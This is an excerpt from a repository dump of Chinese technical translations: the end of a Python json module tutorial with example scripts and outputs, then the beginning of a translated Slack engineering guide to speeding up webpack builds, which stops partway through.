紧凑型输出\n\n相较于[`pickle`](https://pymotw.com/3/pickle/index.html#module-pickle)，JSON 可读性更好。 `dumps()` 函数接收若干参数来优化输出的可读性。例如，`sort_keys`参数告诉编码器以排序而不是随机顺序输出字典的键的值。\n\n```\n# json_sort_keys.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\nprint('DATA:', repr(data))\n\nunsorted = json.dumps(data)\nprint('JSON:', json.dumps(data))\nprint('SORT:', json.dumps(data, sort_keys=True))\n\nfirst = json.dumps(data, sort_keys=True)\nsecond = json.dumps(data, sort_keys=True)\n\nprint('UNSORTED MATCH:', unsorted == first)\nprint('SORTED MATCH  :', first == second)\n```\n\n有序输出，可读性自然比较高，并且在测试中容易对 JSON 的输出进行比较。\n\n```\n$ python3 json_sort_keys.py\n\nDATA: [{'c': 3.0, 'b': (2, 4), 'a': 'A'}]\nJSON: [{\"c\": 3.0, \"b\": [2, 4], \"a\": \"A\"}]\nSORT: [{\"a\": \"A\", \"b\": [2, 4], \"c\": 3.0}]\nUNSORTED MATCH: False\nSORTED MATCH  : True\n```\n\n对于高度嵌套的数据结构，请为 `indent` 指定一个值，以便输出结构更加清晰的格式。\n\n```\n# json_indent.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\nprint('DATA:', repr(data))\n\nprint('NORMAL:', json.dumps(data, sort_keys=True))\nprint('INDENT:', json.dumps(data, sort_keys=True, indent=2))\n```\n\n当 indent 是一个非负整数时，其输出更接近 [`pprint`](https://pymotw.com/3/pprint/index.html#module-pprint) 的输出，其缩进的空格数与传入的 indent 值相同，展示了清晰的数据结构。\n\n```\n$ python3 json_indent.py\n\nDATA: [{'c': 3.0, 'b': (2, 4), 'a': 'A'}]\nNORMAL: [{\"a\": \"A\", \"b\": [2, 4], \"c\": 3.0}]\nINDENT: [\n  {\n    \"a\": \"A\",\n    \"b\": [\n      2,\n      4\n    ],\n    \"c\": 3.0\n  }\n]\n```\n\n虽然输出的数据结构更清晰，但增加了传输相同数据量所需的字节数，因此它不适用于生产环境。实际上，可以通过设置输出的 separators 参数，使其编码后的值比默认情况下更紧凑。\n\n```\n# json_compact_encoding.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\nprint('DATA:', repr(data))\n\nprint('repr(data)             :', len(repr(data)))\n\nplain_dump = json.dumps(data)\nprint('dumps(data)            :', len(plain_dump))\n\nsmall_indent = json.dumps(data, indent=2)\nprint('dumps(data, indent=2)  :', len(small_indent))\n\nwith_separators = json.dumps(data, separators=(',', ':'))\nprint('dumps(data, separators):', len(with_separators))\n```\n\n`dumps()` 的`separators`参数应该是一个包含字符串的元组，用于分隔列表中的项目以及字典中的值。默认值是'('，'，'：')`。通过消除空占位符，生成更紧凑的输出。\n\n```\n$ python3 json_compact_encoding.py\n\nDATA: [{'c': 3.0, 'b': (2, 4), 'a': 'A'}]\nrepr(data)             : 35\ndumps(data)            : 35\ndumps(data, indent=2)  : 73\ndumps(data, separators): 29\n```\n\n## 编码字典\n\nJSON 期望字典键的格式是字符串。如果用非字符串类型作为键编码字典会产生一个 `TypeError`。解决该限制的一种方法是使用 skipkeys 参数告诉编码器跳过非字符串键：\n\n```\n# json_skipkeys.py\n\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0, ('d',): 'D tuple'}]\n\nprint('First attempt')\ntry:\n    print(json.dumps(data))\nexcept TypeError as err:\n    print('ERROR:', err)\n\nprint()\nprint('Second attempt')\nprint(json.dumps(data, skipkeys=True))\n```\n\n没有抛出异常，忽略了非字符串键。\n\n```\n$ python3 json_skipkeys.py\n\nFirst attempt\nERROR: keys must be a string\n\nSecond attempt\n[{\"c\": 3.0, \"b\": [2, 4], \"a\": \"A\"}]\n```\n\n## 使用自定义类型\n\n到目前为止，所有的例子都使用了 Pythons 的内置类型，因为这些类型本身就支持 `json`。此外，通常还需要对自定义类进行编码，并且有两种方法可以做到这一点。\n\n将下面的类进行编码：\n\n```\n# json_myobj.py\n\nclass MyObj:\n\n    def __init__(self, s):\n        self.s = s\n\n    def __repr__(self):\n        return '<MyObj({})>'.format(self.s)\n```\n\n说个简单编码 `MyObj` 实例的方法：定义一个函数将未知类型转换为已知类型。类本身不需要进行编码，所以它只是将一个对象转换为另一个。\n\n```\n# json_dump_default.py\n\nimport json\nimport json_myobj\n\nobj = json_myobj.MyObj('instance value goes here')\n\nprint('First attempt')\ntry:\n    print(json.dumps(obj))\nexcept TypeError as err:\n    print('ERROR:', err)\n\n\ndef convert_to_builtin_type(obj):\n    print('default(', repr(obj), ')')\n    # Convert objects to a dictionary of their representation\n    d = {\n        '__class__': obj.__class__.__name__,\n        '__module__': obj.__module__,\n    }\n    d.update(obj.__dict__)\n    return d\n\n\nprint()\nprint('With default')\nprint(json.dumps(obj, default=convert_to_builtin_type))\n```\n\n依赖的模块可以正常访问的情况下，在 `convert_to_builtin_type()` 中，没有被 `json` 识别的类的实例被格式化为具有足够信息的字典，然后重新创建该对象.\n\n```\n$ python3 json_dump_default.py\n\nFirst attempt\nERROR: <MyObj(instance value goes here)> is not JSON serializable\n\nWith default\ndefault( <MyObj(instance value goes here)> )\n{\"s\": \"instance value goes here\", \"__module__\": \"json_myobj\",\n\"__class__\": \"MyObj\"}\n```\n\n要解析结果并创建一个 `MyObj()`实例，可以使用 `object_hook` 参数来调用 `loads()` 以连接解析器，这样就可以从模块中导入类并用于创建实例。\n\n为从输入数据流中解码出的每个字典调用 `object_hook`，它提供将字典转换为另一种类型的对象的功能。钩子函数应该返回调用应用程序应该接收的对象而不是字典\n\n```\n# json_load_object_hook.py\n\nimport json\n\n\ndef dict_to_object(d):\n    if '__class__' in d:\n        class_name = d.pop('__class__')\n        module_name = d.pop('__module__')\n        module = __import__(module_name)\n        print('MODULE:', module.__name__)\n        class_ = getattr(module, class_name)\n        print('CLASS:', class_)\n        args = {\n            key: value\n            for key, value in d.items()\n        }\n        print('INSTANCE ARGS:', args)\n        inst = class_(**args)\n    else:\n        inst = d\n    return inst\n\n\nencoded_object = '''\n    [{\"s\": \"instance value goes here\",\n      \"__module__\": \"json_myobj\", \"__class__\": \"MyObj\"}]\n    '''\n\nmyobj_instance = json.loads(\n    encoded_object,\n    object_hook=dict_to_object,\n)\nprint(myobj_instance)\n```\n\n由于 `json` 将字符串值转换为了 unicode 对象，因此在将其用作类构造函数的关键字参数之前，需要将它们重新编码为 ASCII 字符串。\n\n```\n$ python3 json_load_object_hook.py\n\nMODULE: json_myobj\nCLASS: <class 'json_myobj.MyObj'>\nINSTANCE ARGS: {'s': 'instance value goes here'}\n[<MyObj(instance value goes here)>]\n```\n\n类似的钩子可用于内置的数据类型：整数（`parseint`），浮点数（`parsefloat`）和常量（`parse constant`）。\n\n## 编码器和解析器相关的类\n\n除了已经介绍的便利功能之外，`json` 模块还提供了编码和解析相关的类。直接使用类可以访问额外的 API 来定制它们的行为。\n\n`JSONEncoder` 使用一个可迭代的接口来产生编码数据的 “块”，使得它更容易写入文件或网络套接字，而无需在内存中表示整个数据结构。\n\n```\n# json_encoder_iterable.py\n\nimport json\n\nencoder = json.JSONEncoder()\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\n\nfor part in encoder.iterencode(data):\n    print('PART:', part)\n```\n\n输出以逻辑单位为准，和值的大小无关。\n\n```\n$ python3 json_encoder_iterable.py\n\nPART: [\nPART: {\nPART: \"c\"\nPART: :\nPART: 3.0\nPART: ,\nPART: \"b\"\nPART: :\nPART: [2\nPART: , 4\nPART: ]\nPART: ,\nPART: \"a\"\nPART: :\nPART: \"A\"\nPART: }\nPART: ]\n```\n\n`encode()` 方法基本上等同于 `''.join(encoder.iterencode())`，此外还有一些预先错误检查。\n\n要对任意对象进行编码，建议使用与 `convert_to_builtin_type()` 中使用的类似的实现来重载 `default()` 方法。\n\n```\n# json_encoder_default.py\n\nimport json\nimport json_myobj\n\n\nclass MyEncoder(json.JSONEncoder):\n\n    def default(self, obj):\n        print('default(', repr(obj), ')')\n        # Convert objects to a dictionary of their representation\n        d = {\n            '__class__': obj.__class__.__name__,\n            '__module__': obj.__module__,\n        }\n        d.update(obj.__dict__)\n        return d\n\n\nobj = json_myobj.MyObj('internal data')\nprint(obj)\nprint(MyEncoder().encode(obj))\n```\n\n和之前的例子输出相同。\n\n```\n$ python3 json_encoder_default.py\n\n<MyObj(internal data)>\ndefault( <MyObj(internal data)> )\n{\"s\": \"internal data\", \"__module__\": \"json_myobj\", \"__class__\":\n\"MyObj\"}\n```\n\n解析文本，将字典转换为对象比上面提到的实现方法更为复杂，不过差别不大。\n\n```\n# json_decoder_object_hook.py\n\nimport json\n\n\nclass MyDecoder(json.JSONDecoder):\n\n    def __init__(self):\n        json.JSONDecoder.__init__(\n            self,\n            object_hook=self.dict_to_object,\n        )\n\n    def dict_to_object(self, d):\n        if '__class__' in d:\n            class_name = d.pop('__class__')\n            module_name = d.pop('__module__')\n            module = __import__(module_name)\n            print('MODULE:', module.__name__)\n            class_ = getattr(module, class_name)\n            print('CLASS:', class_)\n            args = {\n                key: value\n                for key, value in d.items()\n            }\n            print('INSTANCE ARGS:', args)\n            inst = class_(**args)\n        else:\n            inst = d\n        return inst\n\n\nencoded_object = '''\n[{\"s\": \"instance value goes here\",\n  \"__module__\": \"json_myobj\", \"__class__\": \"MyObj\"}]\n'''\n\nmyobj_instance = MyDecoder().decode(encoded_object)\nprint(myobj_instance)\n```\n\n输出与前面的例子相同。\n\n```\n$ python3 json_decoder_object_hook.py\n\nMODULE: json_myobj\nCLASS: <class 'json_myobj.MyObj'>\nINSTANCE ARGS: {'s': 'instance value goes here'}\n[<MyObj(instance value goes here)>]\n```\n\n## 使用流和文件\n\n到目前为止，所有的例子的前提都是假设整个数据结构的编码版本可以一次保存在内存中。对于包含大量数据的复杂结构，将编码直接写入文件类对象会比较好。`load()`和 `dump()` 函数可以接受文件类对象的引用作为参数，来进行方便读写操作。\n\n```\n# json_dump_file.py\n\nimport io\nimport json\n\ndata = [{'a': 'A', 'b': (2, 4), 'c': 3.0}]\n\nf = io.StringIO()\njson.dump(data, f)\n\nprint(f.getvalue())\n```\n\n套接字或常规文件句柄有着和本示例中使用的 `StringIO` 缓冲区相同的工作方式。\n\n```\n$ python3 json_dump_file.py\n\n[{\"c\": 3.0, \"b\": [2, 4], \"a\": \"A\"}]\n```\n\n尽管它没有被优化为一次只读取一部分数据，但 `load()` 函数仍然提供了一种把输入流转换成对象的封装逻辑方面的好处。\n\n```\n# json_load_file.py\n\nimport io\nimport json\n\nf = io.StringIO('[{\"a\": \"A\", \"c\": 3.0, \"b\": [2, 4]}]')\nprint(json.load(f))\n```\n\n就像 `dump()` 一样，任何类文件对象都可以传递给 `load()`。\n\n```\n$ python3 json_load_file.py\n\n[{'c': 3.0, 'b': [2, 4], 'a': 'A'}]\n```\n\n\n## 混合数据流\n\n`JSONDecoder` 包含 `raw_decode()`，这是一种解码数据结构后面跟着更多数据的方法，比如带有尾随文本的 JSON 数据。返回值是通过对输入数据进行解码而创建的对象，以及指示解码器在何处停止工作的位置索引。\n\n```\n# json_mixed_data.py\n\nimport json\n\ndecoder = json.JSONDecoder()\n\n\ndef get_decoded_and_remainder(input_data):\n    obj, end = decoder.raw_decode(input_data)\n    remaining = input_data[end:]\n    return (obj, end, remaining)\n\n\nencoded_object = '[{\"a\": \"A\", \"c\": 3.0, \"b\": [2, 4]}]'\nextra_text = 'This text is not JSON.'\n\nprint('JSON first:')\ndata = ' '.join([encoded_object, extra_text])\nobj, end, remaining = get_decoded_and_remainder(data)\n\nprint('Object              :', obj)\nprint('End of parsed input :', end)\nprint('Remaining text      :', repr(remaining))\n\nprint()\nprint('JSON embedded:')\ntry:\n    data = ' '.join([extra_text, encoded_object, extra_text])\n    obj, end, remaining = get_decoded_and_remainder(data)\nexcept ValueError as err:\n    print('ERROR:', err)\n```\n\n但是，这只有在对象出现在输入的开头时才有效。\n\n```\n$ python3 json_mixed_data.py\n\nJSON first:\nObject              : [{'c': 3.0, 'b': [2, 4], 'a': 'A'}]\nEnd of parsed input : 35\nRemaining text      : ' This text is not JSON.'\n\nJSON embedded:\nERROR: Expecting value: line 1 column 1 (char 0)\n```\n\n## 命令行中的 JSON\n\n`json.tool` 模块实现了一个命令行程序，用于重新格式化 JSON 数据以便于阅读。\n\n```\n[{\"a\": \"A\", \"c\": 3.0, \"b\": [2, 4]}]\n```\n\n输入文件 `example.json` 包含一个按字母顺序排列的映射。下面的第一个例子显示按顺序重新格式化的数据，第二个例子使用 `--sort-keys` 在打印输出之前对映射键进行排序。\n\n```\n$ python3 -m json.tool example.json\n\n[\n    {\n        \"a\": \"A\",\n        \"c\": 3.0,\n        \"b\": [\n            2,\n            4\n        ]\n    }\n]\n\n$ python3 -m json.tool --sort-keys example.json\n\n[\n    {\n        \"a\": \"A\",\n        \"b\": [\n            2,\n            4\n        ],\n        \"c\": 3.0\n    }\n]\n```\n\n参阅\n\n* [json 的标准库文档](https://docs.python.org/3.5/library/json.html)\n* [<span class=\"std std-ref\">从Python2 迁移到 3 json 相关的笔记</span>](../porting_notes.html#porting-json)\n* [JavaScript 对象表示法](http://json.org/) – JSON 主页, 内含相关文档和在其他语言中的实现。\n* [jsonpickle](http://code.google.com/p/jsonpickle/) – `<span class=\"pre\">jsonpickle</span>` 支持将任意 Python 对象序列化为 json字符串。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/keep-webpack-fast-a-field-guide-for-better-build-performance.md",
    "content": "> * 原文地址：[Keep webpack Fast: A Field Guide for Better Build Performance](https://slack.engineering/keep-webpack-fast-a-field-guide-for-better-build-performance-f56a5995e8f1)\n> * 原文作者：[Rowan Oulton](https://slack.engineering/@rowanoulton?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/keep-webpack-fast-a-field-guide-for-better-build-performance.md](https://github.com/xitu/gold-miner/blob/master/TODO/keep-webpack-fast-a-field-guide-for-better-build-performance.md)\n> * 译者：[Noah Gao](https://noahgao.net)\n> * 校对者：[tvChan](https://github.com/tvChan)，[MechanicianW](https://github.com/MechanicianW)\n\n# 保持 webpack 快速运行的诀窍：一本提高构建性能的现场指导手册\n\n[webpack](https://webpack.js.org/) 是用于打包前端资源的绝佳工具。然而，当运行开始变慢时，开箱即用的生态和大量的第三方工具使得优化变得十分困难。虽然性能不佳是一种常态而不是特例。但也不是没有办法来优化，经过几个小时的调研与试错，我完成了这样一份现场指南，可以让我们在加快构建的道路上学到更多知识。\n\n![](https://cdn-images-1.medium.com/max/800/1*n7SFvwKvpLsW0ZcEDbgBtg.jpeg)\n\n昔日的构建工具：连接提花机的织机。\n\n### 前言\n\n2017 年是 Slack 前端团队雄心勃勃的一年。经过几年的快速迭代开发，我们有不少的技术债务和进行大规模现代化的宏伟计划。首先，我们计划用 React 重写我们的 UI 组件，并全面使用上现代 JavaScript 语法。然而在我们希望这一点能够实现之前，我们需要一套构建系统来支持这一新的工具星云。\n\n到目前为止，我们只能依靠文件的简单连接，虽然这一体系已经让我们走到了这一步，但显然它不会让我们再更进一步了。 我们需要一套真正的构建系统。所以，作为一个具有良好的社区支持、易用性和功能集的强大起点，我们选择了 webpack。\n\n我们的项目切换到 webpack 的过渡大部分是平稳的。很平稳，直到，它遇到了构建性能问题。我们的构建花了几分钟，而不是几秒钟：与我们曾经习惯的秒级连接相差甚远。Slack 的 Web 团队在任何一个工作日都可以部署 100 次，所以我们感觉到了构建时间的急剧增长。\n\n构建性能一直是 webpack 用户群的关注重点，尽管核心团队在过去几个月里一直在努力改进，但你仍然可以采取很多方法来自行改进自己的构建。下面的这些技巧帮助我们将构建时间缩短了 10 倍，我们将它们分享出来，希望能帮助到大家。\n\n### 开始前，先测量\n\n在尝试优化之前，最重要的是了解时间在哪里被浪费掉了。webpack 没有提供这些信息，但这些必需的信息还能通过其他的方法来得到。\n\n#### Node.js 的 inspector\n\nNode 自带了一个可以用来分析构建的 [inspector](https://nodejs.org/en/docs/inspector/)。如果你不熟悉性能分析，不需要灰心：Google 很努力地解释了 [实现的细节](https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/reference)。对 webpack 构建阶段的粗略理解在这里将是非常有益的，尽管[他们的文档](https://webpack.js.org/concepts/) 简要介绍了这一点，但阅读一些 [核心](https://github.com/webpack/webpack/blob/0975d13da711904429c6dd581422c755dd04869c/lib/Compiler.js) [代码](https://github.com/webpack/webpack/blob/b597322e3cb701cf65c6d6166c39eb6825316ab7/lib/Compilation.js) 是非常有益的。\n\n请注意，如果您的构建内容足够大（比如有数百个模块或是需时超过一分钟），则可能需要将分析过程分解为多个部分，以防止开发人员工具崩溃。\n\n#### 长期记录\n\n分析帮助我们确定了我们构建前端的缓慢部分，但是它不适合随着时间的推移观察趋势。我们希望每次构建都能够报告精确的时序数据，以便我们可以看到在每个昂贵的步骤（转译，压缩和本地化）中花费了多少时间，并确定我们的优化是否有效。\n\n对于我们来说，大部分的工作不是由 webpack 本身完成的，而是由我们所依赖的各种加载器和插件完成的。总的来说，这些依赖并没有提供精确的时序数据，虽然我们希望看到 webpack 采用标准化的方式来向第三方报告这种信息，但是与此同时我们发现我们必须手动进行一些额外的日志记录。\n\n对于加载器来说，这意味着解除我们的依赖关系。虽然这不适合作为一个长期策略，但是在我们进行优化的时候，对于我们辨认出过程中缓慢的部分是非常有用的。另一方面，插件更容易分析。\n\n#### 便宜的测量插件\n\n插件将自己附加到与构建的不同阶段相关的 [事件](https://webpack.js.org/contribute/writing-a-plugin/) 上。通过测量这些阶段的持续时间，我们可以粗略的测量我们插件的执行时间。\n\n[UglifyJSPlugin](https://github.com/webpack-contrib/uglifyjs-webpack-plugin) 是一个典型的测量插件，这种技术是有效的，因为其大部分工作是在 [optimize-chunk-assets](https://github.com/webpack-contrib/uglifyjs-webpack-plugin/blob/d81ef5ac71481b9d5ba2055d55b27c7e18258739/src/index.js#L101) 阶段。下面是一个简单的插件例程：\n\n```javascript\nlet CrudeTimingPlugin = function() {};\n\nCrudeTimingPlugin.prototype.apply = function(compiler) {\n  compiler.plugin('compilation', (compilation) => {\n    let startOptimizePhase;\n\n    compilation.plugin('optimize-chunk-assets', (chunks, callback) => {\n      // 使用粗略测量压缩时间的方法。\n      // UglifyJSPlugin 在这个编译阶段完成全部工作，\n      // 所以我们计算整个阶段的时间。\n      startOptimizePhase = Date.now();\n\n      // 对于异步阶段，不要忘记调用回调函数\n      callback();\n    });\n\n    compilation.plugin('after-optimize-chunk-assets', () => {\n      const optimizePhaseDuration = Date.now() - startOptimizePhase;\n        console.log(`optimize-chunk-asset phase duration: ${optimizePhaseDuration}`);\n      });\n    });\n};\n\nmodule.exports = CrudeTimingPlugin;\n```\n\n上面的例子目的是粗略地测量 UglifyJSPlugin 的执行时间差。请注意了解插件将在哪些阶段执行，因为可能有重叠。\n\n把它添加到你的插件列表里，在 UglifyJS 之前，就像这样：\n\n```javascript\nconst CrudeTimingPlugin = require('./crude-timing-plugin');\n\nmodule.exports = {\nplugins: [\n    new CrudeTimingPlugin(),\n    new UglifyJSPlugin(),\n  ]\n};\n```\n\n这些信息的价值大大超过了获取它的成本，一旦你明白了时间花在了哪里，就能够有效地减少花费的时间。\n\n### 并行操作\n\nwebpack 的很多工作本身就是并行的。通过把工作扩展到尽可能多的处理器上来获得巨大的效果，如果你有多余的 CPU 核心可“烧”，现在是“烧掉它”的时候了。\n\n幸运的是，有一堆以此为目的打造的软件包：\n\n* [parallel-webpack](https://github.com/trivago/parallel-webpack) 将并行执行整个 webpack 构建。我们在 Slack 中使用它来为我们的五种编程语言生成对应的资源。\n* [happypack](https://github.com/amireh/happypack) 将会并行地执行加载器，就像 [thread-loader](https://github.com/webpack-contrib/thread-loader) 一样，由 webpack 核心团队编写和维护。并可以与  babel-loader 和其他转译器搭配起来。\n* UglifyJS 插件的用户可以使用最近添加的 [并行选项](https://github.com/webpack-contrib/uglifyjs-webpack-plugin#options)\n\n注意，拉起新线程有一个不小的成本。建议只在消耗较大的操作中，基于你之前的分析，灵活地应用它们。\n\n### 降低工作负载\n\n当我们的 webpack 测量实现完成时，我们意识到在几个地方做了不必要的工作。砍掉这些地方为我们节省了大量的时间：\n\n#### **简化压缩**\n\n压缩是一个巨大的时间沉淀 —— 占据我们三分之一到一半的构建时间。我们评估了不同的工具，从 [Butternut](https://github.com/Rich-Harris/butternut) 到 [babel-minify](https://github.com/babel/minify)，结果却发现 UglifyJS 在并行配置下是最快的。\n\n然而，对我们来说，关于要处理的性能问题相关的核心信息 [被埋在作者的长篇大论之下](https://github.com/mishoo/UglifyJS2/blob/ae67a4985073dcdaa2788c86e576202923514e0d/README.md#uglify-fast-minify-mode)\n\n> 同大家认为的不同，对于大多数 JavaScript 来说，空白的去除和符号的改变能够压缩代码的 95％，是主要代码压缩的核心，而不是精心设计的代码转换。人们可以简单地禁用压缩加速 Uglify 构建 3 至 4 倍。\n\n我们试了一下，结果令人咋舌。就像承诺的那样，压缩速度是原来的 3 倍，而且我们生成的打包文件大小几乎没有增长。不过 React 用户以这种方式禁用压缩应该警惕一个警告：[detection methods](https://github.com/facebook/react-devtools/blob/7443291103bc619e7e9b8ab009fb6da1281ba302/backend/installGlobalHook.js#L52-L118) 被 [react-devtools](https://github.com/facebook/react-devtools) 用来报告你正在使用 React 的开发版本。经过一些试错，我们发现以下配置解决了这个问题：\n\n```javascript\nnew UglifyJsPlugin({\n  uglifyOptions: {\n    compress: {\n      arrows: false,\n      booleans: false,\n      cascade: false,\n      collapse_vars: false,\n      comparisons: false,\n      computed_props: false,\n      hoist_funs: false,\n      hoist_props: false,\n      hoist_vars: false,\n      if_return: false,\n      inline: false,\n      join_vars: false,\n      keep_infinity: true,\n      loops: false,\n      negate_iife: false,\n      properties: false,\n      reduce_funcs: false,\n      reduce_vars: false,\n      sequences: false,\n      side_effects: false,\n      switches: false,\n      top_retain: false,\n      toplevel: false,\n      typeofs: false,\n      unused: false,\n\n      // 除非声明了正在使用生产版本的react-devtools，\n      // 否则关闭所有类型的压缩。\n      conditionals: true,\n      dead_code: true,\n      evaluate: true,\n    },\n    mangle: true,\n  },\n}),\n```\n\n注意：此配置适用于 UglifyJS webpack 插件的 1.1.2 版本。\n\n检测变量根据版本而不同，React 16用户可能单独使用_compress：false_。\n\n通常优先考虑最终发送给用户的字节数，所以请注意在工程团队和下载应用程序的用户之间取得平衡。\n\n#### **代码重用**\n\n开发中需要找到并进入多个相同代码的包是很常见的事。当这种情况发生时，压缩器的工作将不必要地增加。 我们把打包通过 [webpack Bundle Analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer) 和 [Bundle Buddy](https://github.com/samccone/bundle-buddy) 这两部显微镜找到重复的项，并将其用 webpack 的 [CommonsChunkPlugin](https://webpack.js.org/plugins/commons-chunk-plugin/) 分成共享块。\n\n#### **跳过部分解析**\n\nwebpack 会在查找依赖关系的同时，将每个 JavaScript 文件解析为 [语法树](https://en.wikipedia.org/wiki/Abstract_syntax_tree)。这个过程是很昂贵的，所以如果你确定一个文件（或一组文件）永远不会使用 import，require 或者 define 语句，你可以告诉 webpack 在这个过程中排除它们。以这种方式跳过大型库可以大幅提高效率。有关更多详细信息，请参见 [noParse](https://webpack.js.org/configuration/module/#module-noparse) 选项。\n\n#### **排除**\n\n通过类似的方式，你可以从加载器 [排除](https://webpack.js.org/configuration/module/#rule-exclude) 文件，许多插件提供 [类似的选项](https://github.com/webpack-contrib/uglifyjs-webpack-plugin#options)。这可以实在的提高工具的性能，例如也依靠语法树来完成自身工作的转译器和压缩器。在 Slack 中，我们只编译我们确认使用了 ES6 特性的代码，并且忽略不直接提供给客户的代码的压缩。\n\n#### **DLL 插件**\n\n[DllPlugin](https://webpack.js.org/plugins/dll-plugin/) 将允许你在后面的阶段剥离预先构建好的包供 webpack 使用，非常适合像 Vendor 库这样的大型，较少移动的依赖项。虽然它传统上是一个需要大量配置的插件，但是 [autodll-webpack-plugin](https://github.com/asfktz/autodll-webpack-plugin) 为更简单的实现铺平了道路，值得一看。\n\n#### **使用记录来稳定模块 ID**\n\nwebpack 为依赖关系树中的每个模块分配一个 ID。随着新模块的添加以及其他模块的移除，树会发生变化，同时也会改变其中每个模块的 ID。这些 ID 被置入每个 webpack 发出的文件中，而高级别的模块混合（译者注：应指交叉依赖，npm 一直以来的一大严重问题）可能导致不必要的重建。 通过使用 [records](https://webpack.js.org/configuration/other-options/#recordspath) 来防止这种情况，在构建之间稳定您的模块ID。\n\n#### **创建一个清单块**\n\n在 Slack，每次发布新版本时，我们都会使用哈希文件名来缓存破解。打开浏览器开发人员工具的“网络”选项卡，您将看到“_application.d4920286de51402132dc.min.js”文件的请求。这种技术对于缓存控制来说是非常棒的，但是这也意味着 webpack 无法在不借助摘要的情况下将模块映射到相应的文件名。\n\n摘要是模块 ID 到哈希的简单映射，当 [异步导入模块](https://webpack.js.org/api/module-methods/#import-)时，webpack 将用它来解析文件名：\n\n```JSON\n{\n    0: \"d4920286de51402132dc\", /* ← 为应用打包而生成的哈希值 */\n    1: \"29a3cf9344f1503c9f8f\",\n    2: \"e22b11ab6e327c7da035\",\n    /* .. 等等等 ... */\n}\n```\n\n默认情况下，webpack 将在它添加到每个打包文件顶部的样板代码中包含这个摘要。然而这是有问题的，因为每次添加或删除模块时摘要都必须更新 —— 这种情况我们每天都会发生。每当摘要发生变化时，我们不仅需要等待所有打包文件的重建，而且还要破坏缓存，迫使我们的客户重新下载它们。\n\n仅仅保持模块ID稳定是不够的。我们需要将模块摘要完全提取到一个单独的文件中；在我们或是我们的客户没有花费重建和重新下载任何东西的成本的情况下，就能够定期改变。所以我们用CommonsChunk插件创建了一个 [manifest文件](https://webpack.js.org/plugins/commons-chunk-plugin/#manifest-file)。这大大减少了重建的频率，而且还让我们只发送了一个 webpack 的样板代码的副本。\n\n#### **Source maps**\n\n源地图（Source maps）是调试时用到的关键工具，但是生成它们将花费一定时间，改动 webpack 的 [开发工具菜单选项](https://webpack.js.org/configuration/devtool/) 并选择一个最合适自己的调试风格。 _cheap-source-map_ 方案在构建性能和可调试性间取得了不错的平衡。\n\n### 缓存\n\n我们的部署节奏很快，这意味着当前的构建和之前的之间通常只有很小的差异。随着在正确的地方被缓存，我们可以加速大部分 webpack 本来会做的工作。\n\n我们使用 [cache-loader](https://github.com/webpack-contrib/cache-loader/) 来缓存结果（babel-loader 的用户通常会优先选择使用它的 [内建缓存](https://github.com/babel/babel-loader#options)，UglifyJSPlugin 的 [内建缓存](https://github.com/webpack-contrib/uglifyjs-webpack-plugin#options)，以及加入了 [HardSourceWebpackPlugin](https://github.com/mzgoddard/hard-source-webpack-plugin)。\n\n#### 有关 HardSourceWebpackPlugin 的一点笔记\n\nwebpack 所做的很多工作都在加载器/插件执行之外，而且大部分工作都会遵循传统避开缓存。为了解决这个问题，我们引入了一个插件 [HardSourceWebpackPlugin](https://github.com/mzgoddard/hard-source-webpack-plugin)，用于缓存 webpack 内部模块处理的中间结果。\n\n为此，我们必须仔细列举可能需要缓存的所有外部因素，并彻底地进行测试。在我们的例子中包括：转移，CDN 资源路径和依赖版本。这不是个轻松地差事，但结果是值得的 —— 启动缓存后，我们的热构建快了 20 秒。\n\n最后要注意的是，每当程序包依赖性发生变化时，请记住清除缓存 - 可以使用 [npm postinstall script](https://docs.npmjs.com/misc/scripts) 自动执行。一个陈旧、不兼容的缓存可能会以新的和有趣的方式对你的构建造成严重破坏。\n\n### 保持版本最新\n\n在 webpack 生态系统中，保持最新状态是值得的。核心团队近期已经做了很多工作来提高构建速度，如果你没有使用最新版本的依赖项，你可能会错过大量的性能提升。 当我们从 webpack 3.0 升级到 3.4 时，我们发现加速了几十秒钟，而我们完全没有改变配置，并且这样的改进还在继续。\n\n定期升级并跟上前面提到的如并行性等新功能的更新。在 Slack ，我们尽我们所能地留意 Github 上的发布，[webpack团队博客](https://medium.com/webpack), [babel团队博客](https://github.com/babel/notes)以及其他有关他们工作的博客。\n\n不要忘记让你的 Node 保持在最新的版本 — 软件包不是唯一的改进途径。\n\n### 硬件上的投资\n\n当一天结束的时候，你的构建必须在某个地方运行，并且要在某个东西上运行。 如果最终的构建是在史前级的设备上进行的话，那么对整体构建性能，即便进行了最优秀的优化，都会产生很大的影响。\n\n当我们的任务刚开始进行时，我们的构建服务器是 Amazon EC2 家族的成员，C3。 通过将实例类型更新到 C4 产品（处理器更快，更强大），随着代码库的增长，我们看到了构建时间和可用于扩展的并行能力相关选项的显著改进。 用户通常担心的从实例支持的机器到 EBS 的过渡过程不需要感到绝望：webpack 积极地缓存文件操作，我们没有发现迁移到 EBS 后性能存在降低现象。\n\n如果它在您的能力（和预算）范围内，那么请评估更好的硬件和基准，以找到最佳的配置。\n\n### 贡献\n\n像 webpack 这样的基础设施项目几乎都出奇的穷; 